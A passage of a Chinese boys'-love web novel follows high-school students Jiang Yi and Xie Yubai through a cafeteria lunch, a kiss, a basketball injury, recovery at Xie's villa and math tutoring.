江逸仅凭颜值就可以大杀四方,让人疯狂心动,更别提他身上那种有点野的劲儿,谢逾白再这么样只是个高中生,会被漂亮炫目的人吸引也正常。 “我这么为你卖命,你打算怎么谢我?” 江逸双手环胸,“你想让我怎么谢你?” “中午了,请我吃个饭。” 看着厚厚的资料,花费应该不少,江逸耸耸肩无所谓道:“行啊,不过,我话说在前面,你被掰弯了,我可不负责。” “哈哈哈,好。”傅现笑得弯了腰,这人挺有趣的。 江逸笑着,听到脚步声回头一看,谢逾白站在身后不知道多久了,脸色不温不火,直觉告诉他谢逾白不太高兴。 “老谢,你回来了,江逸非要请我吃饭,盛情难却,我们去了。”傅现对着江逸挑了下眉,“走吧,一会儿人多了。” 江逸起身,厚重的外套往身上套,抓起围巾往脖子上围。 看到这条黑色的围巾,谢逾白面色一变,心中涌起一股酸涩,这条围巾刚好是在树林里江逸围在他脖颈上,跟他接吻时戴的那条围巾。 他喉咙一哽:“我正打算去食堂。” 江逸脚步没停:“你等陈最一起去,他去老师办公室了。” 谢逾白往前一步,挡住他的路,“今天中午我跟你一起去,我请客。” “行。”江逸拽了拽围巾,拿起饭卡。 傅现看他拿饭卡:“你请我去食堂吃?” “不然呢?” “食堂人多,怎么不去校外吃?” 江逸一脸认真:“我赶时间回来做数学卷子,下午老师要讲的。” 傅现惊讶溢于言表:“你这么努力,怎么数学才考了79分。” “你怎么知道的?” “刚刚我扫了你的成绩单,记住了。” “那么短的时间,你全记住了?”江逸记得他好像只看了两三秒。 傅现斜眼看他:“我不是跟你说了,我智商高。” 反人类! 江逸选了经常来吃的四楼,这里人没那么多,风味小吃小炒应有尽有,“你们想吃什么?这顿我请。” 谢逾白把饭卡递过来,“我请。” 傅现觉得好笑,看着他们:“你俩逗我呢?一共花不上一百块,谁请能怎么样?”他抽走谢逾白的饭卡:“让他请,他的钱永远也花不完,我们好心帮帮他。” 江逸有点犹豫,他想吃麻辣烫,想吃馄饨,还想吃砂锅米线,眼神在三种食物中切换。 谢逾白:“你吃什么?想好了?” “我在纠结。” 谢逾白指着这三个窗口,“纠结这三种?” “你给我点建议?” 谢逾白直接到三个窗口,分别付了款,“你来选具体的口味。” 江逸看到他的举动,“豪气啊你,不过我吃不完。” “你吃不完有人吃。” “谁?”江逸明亮的眼瞳看着他。 谢逾白抿了抿唇:“我。” 江逸记得一起吃烧烤的时候,谢逾白这也不吃,那也不吃,一身臭毛病。 他去窗口要了干净的空碗,摆在桌子上,给谢逾白面前放一个,又要了一次性筷子,打开两根筷子磨一磨,放在谢逾白面前。 他稍抬眼,对上傅现调侃的眼神,“你挺贴心,怎么只给他拿空碗,不给我拿?” “他帮我吃我点的三份饭。” “我也可以帮你吃。” 江逸看着他一整碗的麻辣烫,“你先吃完自己的吧。” 谢逾白看江逸把每样吃的,用公筷夹到自己碗里。 有时候江逸挺会照顾人的,跟他的外表很不符合,在他家住的一个月时间,江逸照顾他的饮食起居非常周到。 江逸刚要动筷子,傅现递过来一张面巾纸,“吃饭之前把你嘴上的唇膏擦一下。” 他这句没头没脑的话,把江逸整懵了,“你脑子正常吗?我嘴上哪有什么唇膏?” “男生化妆没什么,我后桌也画,你这么鲜艳的唇色我第一次见,我没有偏见,你擦擦吧。” 江逸见他的样子不像开玩笑,一截嫩红的舌尖舔了舔上唇,“我真没化妆,谁弄那娘们唧唧的东西。”他拿起面巾纸用力擦了一下唇,“不信你看。” “真的奥。你嘴唇就长这样,操了,我还是第一次见,你天生丽质。” 谢逾白眉心拧紧,筷子啪的一声拍在桌子上,语气冷了下来:“你刚刚说什么?” “我说什么了?” 江逸看着氛围有点剑拔弩张,打了个圆场:“谢逾白文雅人,不喜欢同学说脏话。” 傅现后知后觉,是那句:操了,讪讪笑道:“那是我的口头禅。” 谢逾白语气不容置疑:“戒了。” “你是警察啊?管这么多。行行行,我注意。”傅现笑着:“你怎么受得了他的?从哪里来的外星人。”男生之间说话粗鄙的多了去了。 仔细一想,傅现明白了,谢逾白这人就是虚伪,喜欢人家,不容许别人有任何冒犯江逸的地方。他想起这两年来受的鸟气,忽然有了点心思,能给谢逾白找点不自在也挺好玩。 “江逸,你过来,我给你看看我哥的比赛视频。” 江逸眼神一动,明显很感兴趣。 傅现拿出一对耳机,对他招手,“你靠过来,我给你戴上。” 谢逾白眉峰蹙起:“外放,不用戴耳机。” 江逸看了看周围的同学:“不太好吧,会有点吵。” 谢逾白语气淡定:“我也想听,音量低点。” 傅现的哥哥参加过篮球U8全国大赛,担任中锋,身高195多,体格健壮,江逸由衷地说,“你哥好厉害。” “我妈妈也这样说,我哥四肢发达,头脑都给我了。” 江逸噗一声笑了,麻辣烫里的辣椒不小心进嗓子眼里,“咳咳咳……”他咳个不停,谢逾白第一时间拧开一瓶矿泉水递给他,“喝水。” 他白皙的脸憋得透红,眼尾泛潮,瞳仁蒙着层薄光,唇角被辣得红亮。 只看了一眼,谢逾白的心脏像被什么击中了,停顿了一下,“你怎么样?哪里难受?” 江逸喝了几口水,嗓子继续咳嗽,好不容易顺过来气。 谢逾白靠近他,忧心忡忡地看着他。 傅现鸡皮疙瘩都起来了,“没事了吧?”谢逾白真是的,周围如果没人,估计快把人抱怀里了。 江逸继续拿起筷子,面前的麻辣拌被人端走了,取而代之的是清淡的馄饨。 “你先吃这个缓一缓。”谢逾白把没吃完的麻辣烫拿走,慢悠悠吃了起来。 江逸感觉不太对劲,碍于有外人在,不好明说,大碗里有新的麻辣烫,谢逾白为什么要吃他碗里的? 一个空碗被推到他面前,谢逾白舀了馄饨给他,“这样凉的快一点。” 他为了把空碗留给自己? 江逸心里琢磨着,不小心咬了一下舌头,“嘶”了一声。今天他是不是出门没看黄历,到底怎么回事? 几滴血蔓延了口腔,谢逾白察看他的神情,“你怎么了?咬到哪里了?” 江逸呜咽了两声,暂时说不出话。这饭也吃不下去了,他静静坐着等他们吃完。 出了食堂跟傅现拜拜,江逸自然而然地往教室走。 “等下。”谢逾白拉住他的胳膊,把他带到教学楼阴面的拐角,这里风挺大,空无一人。 “张嘴,我看看你咬哪里了?” 江逸摇头,“回教室。” 谢逾白一个旋身,把人按在墙上,虎口卡住他的下巴,“张嘴。”他脸上微微焦急。 江逸眨了眨眼,余光看了看周围,没什么人,他呼出一口气伸出舌头,粉红的舌头边缘有一块深红色的小口子。 谢逾白漆黑的眼瞳里荡着心疼,“估计要溃疡了。” 两人的视线在空气中交织在一起,噼里啪啦的有微微的火花,江逸舌头收了回去,嘴唇红艳艳的。 谢逾白的呼吸变得沉重,眼神被蛊惑了一样,一点点靠近,卡住江逸下巴的手往上抬,湿润的嘴唇,温热的体温,让他辗转反侧的一张脸。 谢逾白拇指摩挲着江逸下颌,视线胶着在那片红艳的唇上,距离一寸寸缩短,睫毛快要相触,即将要贴上魂牵梦绕的唇瓣。 江逸忽然偏过头,侧脸擦过谢逾白的鼻尖。 谢逾白的唇僵在半空,眼神僵硬,窘迫潮水似的漫上来,他别开脸,没话找话般咳了声。 江逸转回头,眼眸垂着,视线看着鞋尖,“你亲我,我也不会对你负责的。”他顿了顿,“我觉得这样不好,对你不公平。” 他的眼睛水润明澈,谢逾白看得心头微颤,不管不顾地把人揽进怀里,心酸酸涩涩的:“我不知道怎么跟你做朋友,我不会。” “这有什么不会的?” 谢逾白的下巴搁在他的肩膀,声音有些失控:“我看见你,满脑子想着抱你,亲你,你让我怎么办?” 江逸心中一软,“我明白,你是恋爱后遗症,我会负责的,你克制点,慢慢就好了。” “克制?慢慢就好?我已经克制这么多年了,为什么我还没好?” 江逸感受到他语气充满酸楚,手抬起轻拍他的后背,缓解他的情绪,他不知道能说什么。 两人就这么静静地抱着,谢逾白心中的情绪泛滥:“我不该怀疑你,应该信任你,但我做不到,别提你跟周靖泽在一起,就算你跟直男在一起,我也受不了。” 江逸叹气:“我知道。” 谢逾白的手一点点收紧,两人的距离越贴越近,“江逸,你教教我,怎么能不喜欢你?”他眼神失去焦点,魂不守舍地看着江逸的脸。 “谢逾白,你……”他的话还没说完,谢逾白的手揽住了他的肩膀,炙热的气息扑面而来,热切的唇贴了上来。 光天化日的,不远处还有同学说话声,江逸瞳孔睁大,心跳失衡。 谢逾白的唇贴着他的,一下一下地咬,带着钩子的摩挲。牙齿擦过唇瓣,唇肉被含住,烫得江逸舌根发紧。 谢逾白咬的力道逐渐变重,像在宣泄什么隐秘的情绪,随即又放轻,用唇瓣碾过泛红的痕迹。 江逸的唇被磨得发肿,鼻尖浸了热,想躲,下颌被捏着躲不开。 这种被强制的吻感觉很怪,有点疼,说不清的麻,有细小的电流顺着唇瓣爬上来,缠得他后颈发僵。 谢逾白咬他的唇带着隐忍的狠劲,让江逸的脸烫得惊人。 江逸琥珀色的瞳仁没聚焦,没从那阵密集的□□里缓过来,脸上的红褪得慢,顺着下颌往下漫。 30-40 第31章 你图什么? 谢逾白眼中的渴望, 情愫呼之欲出。 一吻过后,他不仅没有满足感,反而紧紧盯着江逸的反应, “抱歉,我没忍住,我不需要你负责,你能不能考虑一下,再跟我试一试?” 江逸手指抵着下唇,失神了好一会儿, 脸上的红潮还没退, “你不用道歉,我不怪你, 你需要时间。我们做朋友比较好。高考在即我不想影响学习。” 谢逾白手心出汗, 唇角一扯, “你可真是爱学习的好学生。” “没剩几个月了, 以前我身不由己,现在想尽力试试。” “让我帮你吧, 我帮你复习。” 江逸表情迟疑, 在思考这种可能性, 得出结论可能性为零,“算了,你能管好自己就行了。我不打扰你。” 谢逾白心脏好像掉进了无底洞,“你心好狠。” “有很多人喜欢我,长久的,不长久的,我没什么感觉的。你别喜欢我了,会很累。你觉得我渣也好, 我对你有感情,不想看你再因为我而不开心。” 江逸亲眼见过他痛苦的模样,用手砸玻璃鲜血淋漓,现在得知谢逾白对他的感情比想象的更深沉,他更不敢轻易冒犯他,这种情绪很奇特。 一开始,他对谢逾白感兴趣,江逸是个享乐主义,大家玩一玩没什么不好。他现在不想用草率的感情敷衍谢逾白。 谢逾白静静地听完他的话,问:“你对我有感情,什么感情?” 江逸没留意自己说了这句话,回想一下,是说了这样的话,他支支吾吾地表述不清楚,“我不太清楚,懒得去想,你别问了。” 谢逾白握住他的手,眼神缱绻,声音温和,“别急,你慢慢想,你对我有什么感情?” “大概是心疼?”江逸不愿意仔细去思考,“可能你现在觉得我无情,这是目前对你和我最好的状态。” 那种热切的,全身心投入的感情,好的时候让人心脏发麻飘飘然,不好的时候让人跌入谷底,太疯狂了。 江逸伸手拉了下谢逾白的手,谢逾白的手掌宽大,掌心微湿,“你回教室吗?” “你回去吧。”谢逾白眼神空洞地看着远处。 “我陪你待一会儿。”江逸蹲在地上,眼睛向上看着谢逾白。 “你真的希望跟我做朋友?” “不是希望,轻松一点。” 谢逾白居高临下看着他,缓缓问:“刚刚我亲你,你为什么不生气?” 江逸面色微红,磕磕巴巴地说:“以前不是没亲过,我有什么可生气的?”他明亮的眼眸眨了眨,“看情况,如果很困扰我,我会告诉你。你有什么问题可以跟我说,我们一起想办法解决。” “我误会你了,你没有像我想的那样,会找别人,或者跟别人有不清不楚的关系。”谢逾白当时只是气话,那些话总归不好听。 江逸惊讶于他的道歉,态度挺真诚的,“我接受你的道歉。虽然我有边界感缺失的问题,没像你理解的那样,不是乱来的人。” 谢逾白调整呼吸,他从小到大一向没觉得自己有错,这次真的错了,“你想专注学习和高考,让我帮你。” “你确定跟我频繁接触对你没有坏处吗?那样你更不容易收回你的感情。” 谢逾白看着他无辜澄净的眼神,倏然笑了,自嘲地说:“我早就收不回来了,江逸,如果能收回来,我不至于到今天这个地步。” 情圣的话,江逸似懂非懂。 “让我帮你,接下来的日子对你好一点,帮你多一点。” 江逸心中有担忧,隐隐觉得不妥,对上谢逾白黑漆漆的眼睛,不忍心再拒绝他,“行吧,试试看。” * 江逸打省篮球赛半决赛,这场球对申请东大是重中之重。他拼得狠,攻防两端都透着股劲,得分板上的数字一路往上跳。 比赛剩十五分钟,对方拦不住江逸的进攻,开始明里暗里犯规。 对方队长瞅准机会再犯规,在江逸起跳投三分的瞬间,胳膊猛地往他腰上一撞,江逸失衡摔在地上,落地时脚踝狠狠拧了一下,冷汗浸透了球衣后背。 队友慌忙把他架到休息室,江逸坐在长凳上,疼得眉心紧拧。 医生蹲下来检查,手指刚碰到脚踝,他就往回抽了抽。简单包扎完,医生直起身:“同学,你绝对不能再上场,等结束立刻去医院做详细检查,不然可能留后遗症,以后再也没办法打篮球。” 谢逾白全程缄默,站在旁边手握成拳。 医生开始包扎,谢逾白扶着江逸胳膊的手收紧,喉结滚得厉害,眼里的血丝看得人发慌。 医生一走,他抓过冰袋,没顾地上的灰,“咚”一声半跪下去,冰袋贴着江逸脚踝,指腹在发抖。 江逸看着他发顶,又看了看地上的尘土飞扬:“地上脏,你过来坐,我脚抬上来。” 谢逾白一动没动,冰袋往脚踝贴了贴:“你抬着累,这样没事。” 江逸声音有些哑:“你没必要这样,我还能动,应该没什么事,你别听医生的,他太夸张了。我打球这么多年大伤小伤没少经历,我能承受。” “我承受不了!”谢逾白音量升高,他眼里弥漫着痛苦,嘴唇发紫,“我坐在看台上,看到你摔倒的那一刻,感觉自己……”要死了。 “你冷静一点,我真没事。”江逸被他眼睛里的痛苦惊到了,放低声音:“五分钟以后,我还得上场。” 谢逾白豁然抬头,脸上的淡定一扫而空,声音失控:“医生的话你当耳旁风?再上场,脚废了怎么办?” 江逸喘了口气,手背擦了擦额角的汗:“我们现在只领先八分,我不在队友顶不住。” “那你也不能拿命赌!”谢逾白的声音发紧,“你的脚远比一场球重要一百倍!” 江逸低头看着缠满纱布的脚踝:“对我来说,这不止是一场球。打了这么多年,等这个收尾,我想上东大,赢得这场比赛是硬条件,我不能现在放弃。” “你不上场,也可能会赢。” 江逸激动地抓住他的肩膀,眼中恳切:“我要的不是可能,是一定。” 谢逾白脸色惨白,“为这些,你要忍着疼往场上冲?万一他们再针对你,再摔倒受伤怎么办?” 江逸指腹蹭过他汗湿的鬓角:“我想要的东西,就要这么拼。我不像你有天赋,很多东西轻轻松松就能拿到。” 他语气放柔,“如果你真的为了我好,帮我把纱布再缠紧点,好不好?” 谢逾白没动,半跪着看他,眼瞳波光变换。 江逸手心贴上谢逾白的侧脸:“你会帮我,支持我,对不对?你相信我。” 谢逾白咬着牙,把纱布一圈圈缠紧。 江逸扶着长凳扶手站起来,右脚刚落地晃了晃,脚踝传来钻心的疼。 他没吭声,逆着光一步一颠地往休息室门口挪,后背绷得笔直。 谢逾白站在原地,看着那个背影,心脏被攥紧,这个画面震撼了他很久。 他不敢去球场看,垂着头坐在江逸坐过的地方,一分一秒地等待,听到球场内的呼喊声,对他来说像凌迟一般,无比难受。 他拨通电话:“是我,去查一下这个篮球队,教练和队长,找到他们的弱点,给你三天时间。” 伤害江逸的人,他一个也不会放过。 这是他生命中最长的十分钟,比赛的结果是江逸的球队赢了3分。 比赛最后一分钟,谁也不知道江逸如何做到的,在脚受伤的情况下,投出了三分球,敲定了比赛的最终结果。 这么多年,谢逾白质问自己为什么会喜欢江逸,因为他的脸?因为四年前在他最灰暗的时候,江逸恰好出现?此时此刻,他无比确定这个答案,是江逸旺盛的生命力,很顽强,每次看到他很有活力,充满了力量。 江逸身上的这个特质牢牢吸引着谢逾白。因为他缺少活力,没有生活的动力,至此,他日复一日活着的信念,是明天还可以看到那个人。 日复一日的关注,逐渐变成刻骨铭心的迷恋。卑微的,求而不得的,酸涩的,所有的这些感受不好受,甚至痛苦,却是真实存在的。 偶然间那人的一个笑容,足够他回味一整天。 江逸被队友扶了回来,队友重回赛场等待领奖。 谢逾白把人接过来小心放在长椅上,脱下他的鞋,纱布被汗水染湿了。 “有汗,去医院处理。”江逸用手挡了一下,不想让谢逾白看。 谢逾白木然地跪坐在地上,一圈一圈揭开绷带,看到脚踝的那一刻,他心如刀割呼吸困难。 谢逾白从包里翻出备用的碘伏和纱布,用干净的棉球蘸了水,擦去江逸脚踝上的汗渍,碰到红肿处时,江逸一声轻嘶,他的手立刻顿住。 他屏住呼吸,指腹悬在半空停了停,才敢按上去。江逸的脚踝肿得老高,青紫色漫过骨头,脚背泛着不正常的红,每碰一下,谢逾白的眉峰就蹙紧一分。 一圈圈绕上纱布,力道松了怕固定不住,紧了怕江逸疼,指腹反复碾过绷带边缘,确认不会滑脱。 中途江逸疼得绷紧了脚背,他立刻停手,眼里蒙着层湿意,哑声问:“很疼,是不是?” 江逸唇角扯出一个牵强的笑容:“不怎么疼,没事,你继续。” 他低下头继续手上的动作。 谢逾白手指勾住江逸篮球服的领口,掀起下衣襟往上褪。湿透的布料贴着脊背,摩擦发痒。 谢逾白将羽绒服展开,小心地披在他肩上。 江逸:“我去洗个澡。一身汗,难闻得很。” “不难闻。”他眼里映着江逸的脸,“你脚不能沾水,等去医院看完,回家我给你洗。” “我先帮你把汗擦一擦。”他拿起干净的毛巾,先擦了擦江逸额角的汗。毛巾擦过锁骨时,谢逾白的动作很轻柔,到了腹肌处,指腹跟着毛巾一起压下去,江逸发出一声极轻的喘,酥麻顺着脊椎爬上来,他绷紧了腰。 “我自己能……”江逸的话卡在喉咙里,谢逾白的毛巾又擦过肋骨,他脸热心颤,“行了,别擦了,穿衣服。” 谢逾白拿起运动裤往他腿上套。碰到江逸膝盖时,江逸蜷了一下,他停住,等江逸放松了才继续,布料往上提。 他蹲下身系裤带,顺势抱住江逸的腰,掌心贴着温热的皮肤,声音发紧,嗓音里压不住的心疼:“江逸,我……” “我知道。” 谢逾白没再说话,弯腰将他打横抱起。 江逸的手臂圈住他的脖子,鼻尖蹭到他锁骨处的汗味,清冽的气息,竟不觉得难闻。 到了医院,医生看过片子。 医生说:“骨头没事,但韧带肌肉严重拉伤,需要休养至少一周。” 医生的话像块石头砸在谢逾白心上,他攥着江逸的手,“今晚跟我回家,让我照顾你。” “我去二姨家住。”江逸抽回手,“她刚说一会儿来接我。” 谢逾白将他搂进怀里,力道大得出奇,呼吸烫在江逸颈窝:“跟我走。” 江逸推了推他,没推开,“你知道的,我们这样频繁接触不合适。” “我会注意分寸。”谢逾白的声音恳求,“这几天,你脚不方便,让我照顾你,不然我不放心,你脚踝如果养不好,是一辈子的大事。” 江逸看着他眼里真切的心疼,一副要碎掉的样子。 江逸叹了口气:“谢逾白,你这样有意思吗?被另一个人操控情绪,为别人付出忍受痛苦,你图什么?” “我只想照顾你,陪着你,谁也无法改变。图自己心里舒坦。” 江逸沉默了会儿,眼神清明,喃喃低语:“大少爷,你活得真随心所欲。我可以让你如愿,让你照顾我,但有条件。” 谢逾白笑容苦涩:“你说,我从来没真正拒绝过你。” “你拒绝的还少?”江逸扬眉,语气沉了些,“第一,两天后的物理竞赛,我要你参加。” 谢逾白望着他,几秒后点头:“好。” “第二,别管我交朋友,我见谁少来管我。” 他又点头。 “第三,”江逸目光扫过他之前受伤的手指,“不要再因为我,因为任何事伤害自己,上次用拳头砸玻璃的事,绝对不可以再发生。” 谢逾白用手砸衣柜玻璃的行为,对江逸来说是零容忍的行为。 谢逾白凝视江逸的脸看了很久,低声应道:“我全答应你。” 江逸澄澈剔透的眼眸在他脸上打转儿,拉着他的手,手指在他掌心捏了下,“你怎么这么好欺负?我很渣你知不知道?巴巴的送上门?” 谢逾白的眼神缠缠绵绵,百转柔肠,“你渣我,虐我,没关系,我不想看你受伤。” 第32章 躲开,我也要亲的。 江逸看着外面的喷泉, 忙碌的工人,别墅灯火通明。谢逾白自然而然地手臂穿过他的膝盖弯想要抱他,江逸按住他的手:“别抱我, 扶着我,我单脚跳进去,这么多人看着。” 谢逾白眉棱挑了下,浓密的额发遮住一半眼睛,动作霸道地把他抱起来,“之前答应你那么多条件, 现在你怎么养病, 我说的算。” 晚风吹在江逸的面庞,灯火摇曳之下, 谢逾白的侧脸浸在光影里, 眉骨到下颌的线条立体, 鼻梁投下的浅影衬得五官俊雅。 今天谢逾白抱了他好几次, 江逸耳朵贴着他的胸腔,他的心跳稳健, 手稳步伐也稳, “你体力这么好?我120多斤, 不沉?” 谢逾白低眼看他,喉结滑动:“我每天夜跑二十公里,周末去健身,寒暑假练习散打拳击。” “看不出来,你有这么粗暴的爱好。” “你看不出来的事,很多。” 前面过来好几个人,江逸有些社死脸埋进去,他一路缩着头, 到了谢逾白的卧室,“这么大的房子只住你一个人,还要养这么多人,划算吗?” “你来陪我住正好。”谢逾白帮他脱掉羽绒服。 “我不是这个意思,我想说你很奢侈。” “我不住,房子空着更奢侈。”谢逾白开始脱他的卫衣。 江逸手拦住他:“哥哥,我脚腕受伤,手没残疾,我可以自己换衣服。” “哥哥”两个字轻飘飘地飞进谢逾白的耳朵,他睫毛垂得低低的,遮不住瞳孔里漫开的光。 见他这副模样,江逸扑哧一笑,“你喜欢我叫你哥哥?” 谢逾白嘴唇紧抿着,脸红心热,嗓音低低的:“嗯。” 江逸手指在他腰侧拧了一下,“想得美,你大我不到一岁,好意思吗?” 谢逾白脚步微乱,去拿来一会儿换洗的衣服,浴室放满了水,江逸正在费力地脱裤子。 “好好等我回来,很难吗?”他语气冷硬,看到一双白皙的长腿,顿时哑火。 谢逾白上下唇抿到一起,双手一扯,扯掉裤子,接下来是内裤,他微抬起眉眼,江逸双手向后撑着床,一双眼眸水光流转,眼尾向上一挑,下巴到锁骨的弧度优美。 谢逾白双手攥拳,眼睫低垂。 江逸对他挑起眉梢,声音慢悠悠的,“你怎么不继续?帮我脱个衣服很难?” 谢逾白蹲下身扶住江逸的腰。 江逸受伤的脚踝泛着浅青,他格外小心地托着,“慢点,别碰着。” 将人放进浴缸,温水漫过小腿,江逸的脸被水汽蒸得发红,皮肤被水一浸,莹润夺目。 谢逾白拿过花洒调小水流。江逸的头发铺在颈间,深栗色的发丝浓密又软,指腹穿过他的发丝。 “你快点洗,磨磨蹭蹭地做什么。” 谢逾白扯过浴巾,从背后裹住江逸。 江逸仰头看他,睫毛上的水珠滴下来,砸在谢逾白手背上。 “抱你回去。”谢逾白的声音有点哑,手臂穿过他膝弯,江逸湿润的腿打滑,身体往下掉了一下,江逸搂住他的脖颈。 被放到床上时,江逸头发湿漉漉地贴在颈侧。 “我给你擦头发。”谢逾白拿着毛巾,周身发热。 江逸看着他,抬腿,白皙泛红的脚趾点了点他的胸口,气息悠长地笑着:“谢逾白,你脸红什么?” “我没有。” “说说,你坚持让我来你家想干什么?” “我说我什么也没想干,你信吗?”谢逾白握住他的脚腕,拇指摩擦着,细腻光滑的手感。 江逸身体裹在浴巾里,露出肩膀的一大片白皙皮肤,锁骨处三颗红痣妖娆亮眼。 江逸脚背勾着他的手腕,把人往前拉,谢逾白双臂撑在他上面,漆黑眼瞳紧紧锁住他。 “说,你什么时候开始喜欢我的?”江逸手指卷着他的衣领,把玩他的扣子,指尖挑开一颗。 谢逾白心跳怦怦响,呼吸乱了节拍,“突然问这个做什么?” “别装了,说。” 谢逾白嗓子发干,慢腾腾地说,“上高中就开始了。” “开始什么啊?” 谢逾白张了张嘴,瞳孔泛潮:“……喜欢你。” “那你为什么那么牛?看不起我似的。” “没有看不起,跟你说话会紧张,发挥不好。” 江逸哼了一声,“你少找借口,你就是装腔作势。这么说来,你之前生气,旧病复发是因为对我……” 谢逾白立刻捂住他的嘴,眼神慌乱,“你别说出来。”他掌心软绵绵的触感,紧接着湿软的舌头舔了他一下,他触电似的松开手。 谢逾白的手放在江逸的脸侧。 江逸的皮肤光滑到不行,眼眸水润,唇色艳丽,能蛊惑人的一张脸。 江逸稍偏头,牙齿咬住了他的食指,眼神带了点春意。 谢逾白脑子轰的一声,脸颊通红,心突突地跳,手指麻麻的仿佛不是他的了,嗓子发干,“江逸,我能亲你吗?” 江逸眼神水润地看着他。 “你如果不喜欢可以躲。” “我躲开,你就不亲了?” 谢逾白手穿过他的后颈,把他的头微微托起来,“躲开,我也要亲的。” “那你还问什么?” 谢逾白贴上带着水汽,微热的唇瓣,柔软,清香,销魂。 梦寐以求的触觉。 江逸的唇齿间留着沐浴后的清香,身上独有的气息,缠得谢逾白心头发紧。 谢逾白能感觉到他微微仰起的脖颈弧度,呼吸烫得他下颌绷紧。 谢逾白试探着撬开他的唇缝,江逸没有闭紧牙关。舌尖相触的瞬间,谢逾白浑身一麻,江逸口腔里比想象中更软,带着点湿意。 他不敢太急,慢慢厮.磨,听着江逸从鼻腔里发出微弱的气音,似乎很享受。 江逸的睫毛湿漉漉地粘在眼睑上,原本水汪汪的眼神此刻蒙了层雾,看得谢逾白心头发烫。 他吻落在江逸的侧脸,鼻尖,眼尾,锁骨上的三颗红痣,一颗一颗用牙齿轻咬。 江逸的手抵在他胸口推,喘不过气的闷哼,他的唇瓣被吻得艳红,微微张着,露出一点粉色的舌尖。 谢逾白再次附身,失去理智地对着他的嘴唇用力一咬,江逸身体颤抖,嘶了一声。 谢逾白的声音暗哑,裹着欲念,“我真想吃了你。” 江逸拧着眉,细白手指捂着嘴唇:“你这句调情的话,很土。” 谢逾白脸上残留着红潮,“我没调情,我认真的。你的唇咬起来,想让人……”对上江逸明亮的眼眸,他说不下去了。 “你好无趣啊,谢逾白。不过,味道跟以前一样,我很满意。”江逸弯着唇,眼眸澄亮,谢逾白吻的触感很韧,清新,有一点温暖。 谢逾白眼眸缱绻地看着江逸,他好像在沉思什么,“在想什么?” “我在想,一会儿做哪张数学卷。” “你认真的吗?你还能做进去数学题?” 江逸抿唇笑了笑:“亲个嘴而已,能影响我做题?” 谢逾白被呛了一下,咳了两声,“你真厉害。” “扶我到书桌前,帮我把卷子翻出来。” “你认真的?你脚这么疼,休息一天明天做。” “谢逾白,你不能这样,严师出高徒,你太软了不行。”江逸说完,自己嗤地笑出声,头往旁边歪了歪,笑得很开心。 谢逾白捏他的脸,“你笑什么?” “没、没笑什么。” 谢逾白回想他说的话,浓眉一展,“好啊,你拿我寻笑话?敢那么说我。” “我怎么说你了?” “我早就想教训你,你这张嘴什么话都敢往外冒。那天在傅现面前说,掰弯他不负责?”谢逾白按住江逸的手,手指去戳他的腰。 江逸身上全是痒痒肉,哪能受得了?“我开玩笑的,你别戳我,痒,别弄我啊!” “把我掰弯了你不负责,还要去掰弯别人?”谢逾白用被子把江逸裹成一个大粽子,“你良心被狗吃了?” “咦?你说我良心被你吃了?等等,谢逾白,你干嘛污蔑我掰弯你,你不是天生的?” 谢逾白眼尾掠他,眼瞳光影掠动,“谁说我天生的?我喜欢你以后才……” “关键我啥也没干,你糊里糊涂就弯了。倒是我一直是直男,被你祸害的。” 看着他理直气壮的脸,谢逾白一时之间无言以对,好像是那么回事,“我祸害的,我负责。” “你怎么负责?娶我啊?” 谢逾白眼睫快速抖动,浑身血液沸腾,嗓子闷哑:“我娶你。” “脑子进水了?两个男人不能结婚。” “现在不能不代表以后不能,社会在发展。” 江逸一脸受不了的表情,“你呀,就是太爱较真,我想起来一件事,我俩根本没法在一起。” 谢逾白脸色下沉:“怎么了?” “撞号,我是上面的。” 谢逾白坐起身,若有所思地打量他,嘴角噙着笑:“你说这话的时候,能不能请你照个镜子?谁家1长你这样?” “我不管,我不在下面,会疼。” 谢逾白凑过去,抱住他的腰,在他侧脸印下一个吻,“没关系,我们不做,亲亲抱抱我也愿意一辈子跟你在一起。” 江逸推开他一点距离,“你跟我玩柏拉图?我先声明,我是肉食动物,吃素满足不了我,这件事说不明白就算了。” 谢逾白脉脉深情地看着他,把他拉近怀里,下颌抵着他的头顶,“我让着你,行了吗?” “这还差不多。”江逸回抱他,手伸进他衣服里,摸着他的腹肌线条,温热的,紧实的触感犹如上等的玉石。 第33章 “需要我帮你脱衣服吗?…… 谢逾白手指夹着支黑色水笔, 画出抛物线的轨迹。 他看向江逸,语气平淡:“这道题很容易的,设直线方程y=kx+m, 联立椭圆方程,判别式大于零,韦达定理代进去,范围就出来了。” 谢逾白拿红笔在题目里“离心率e=1/2”和“焦点在x轴上”两处画了圈,“这回能想到了吧?相当于白送分了。” 江逸看了眼谢逾白,卷着舌头发出“啧”的脆响, 往后靠在椅背上:“谢逾白, 你是所有给我讲题的人里,讲题最不好的。” 谢逾白明显愣了下, 眼里的从容碎了半分, 第一次听到这种评价, 半天才找回声音:“我哪里讲得不好?” “态度不好, ”江逸掰着手指数,“语气像训小学生, 步骤跳得能直接蹦到答案, 方法更是烂透了, 谁教你讲题从第三步开始讲的?”他把笔一扔,“怎么会有人问你题?问你的人肯定脑子被门挤了。” 说完他就要起身,手腕就被谢逾白按住。谢逾白捏了捏眉心,长,“再给我一次机会?……我这次好好表现。” 江逸挑眉看他,见他指节抵在额角,挺直的肩线微塌了点,他此刻的样子, 倒比刚才讲题时顺眼多了,“算了,我不用你了,软件都比你好用。” 谢逾白:“……” 辅导江逸比他想象的难。 江逸对着数学卷子奋战两个小时,谢逾白在旁边坐着看着,三番五次想开口,被江逸恶狠狠的眼神杀回去。 好几道题做不出来,江逸火大,看着谢逾白一副“离谱,这种题目也不会”的表情,他火气更大。 “谢逾白,你刚刚是不是在心里笑话我?” “没有,笑话你什么。” “你那副表情,敢说没有?” “没笑话你,我只是在思考,你应该从高一下半年的知识点开始补。” 江逸揪住他的耳朵,“你不说话没人把你当哑巴。你牛什么?你没有不擅长的事吗?” 谢逾白想了想:“例如?” “你做的三明治,是我吃过最难吃的三明治。” 谢逾白:“……” “有那么夸张?我明天早晨打算早起给你做早餐。” “你家不是有厨师?” “你在我家这段时间,我打算亲手照顾你,像你以前照顾我那样。” 江逸冷哼,“你能跟我比?就你的动手能力。” “我可以学。” “无聊。”江逸肩颈有点酸,手指揉捏着。 “我帮你按摩。” “你又会了?”江逸睨他。 “我试试。”谢逾白绕到椅子后面,大手搭上肩颈的肌肉,第一下下手就很重。 “轻、点。” 